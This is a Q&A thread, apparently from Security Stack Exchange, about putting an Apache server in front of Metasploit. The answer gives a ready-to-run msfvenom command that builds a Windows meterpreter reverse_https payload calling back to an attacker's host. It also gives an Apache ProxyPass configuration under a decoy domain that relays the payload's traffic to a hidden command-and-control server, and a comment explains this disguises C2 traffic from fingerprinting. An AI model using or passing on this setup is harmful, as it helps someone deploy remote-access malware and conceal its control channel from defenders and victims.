1

I'd like to set up a static Apache webserver at home that forwards all incoming Metasploit connections to another IP. Is this possible? If so, how? I am looking to run the Apache server on a RasPi B+ if that helps.

migrated from security.stackexchange.com May 8 '18 at 17:52

This question came from our site for information security professionals.

  • 4
    Welcome to Security SE! Can you provide more information about what you are trying to accomplish? – multithr3at3d May 3 '18 at 3:49
  • Building off the comment @multithr3at3d made, it’s unclear what you’re attempting. Apache is a webserver, and will only be able to redirect web traffic on the specific port so it will not be able to redirect all “metasploit connections” to remote hosts. However, if you have the Metasploit web UI running, and you simply want to sent UI web traffic to a different webserver, I would recommend using and Nginx reverse proxy. – SuperAdmin May 3 '18 at 3:57
  • @schroeder Not OP here but usually a valid Apache or nginx server is configured in front for two purposes: to forward requests of separate campaigns to separate C&C servers, and to masquerade the requests as going to legitimate HTTP servers to avoid fingerprinting. – void_in May 3 '18 at 15:46
  • @void_in yeah, the fingerprinting angle makes a lot of sense, actually – schroeder May 3 '18 at 16:28
2

First, create the payload:

msfvenom -p windows/meterpreter/reverse_https LHOST=<IP OR DOMAIN NAME> LPORT=<PORT or 443> LURI=/myawesomecnc -o /root/cat.exe

The most important part is the LURI which you need to set to a specific resource. All the traffic generated by the payload will be directed towards this URI.

Once this is complete, use the ProxyPass directive in either Apache or nginx to forward only the traffic of /myawesomecnc to the specific host you want. Here is an example of Apache:

<VirtualHost *:443>

  ServerName www.totallyharmless.com
...
  ProxyPass /myawesomecnc/ http://1.2.3.4/myawesomecnc/
  ProxyPassReverse /myawesomecnc/ http://1.2.3.4/myawesomecnc/
...
</VirtualHost>

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy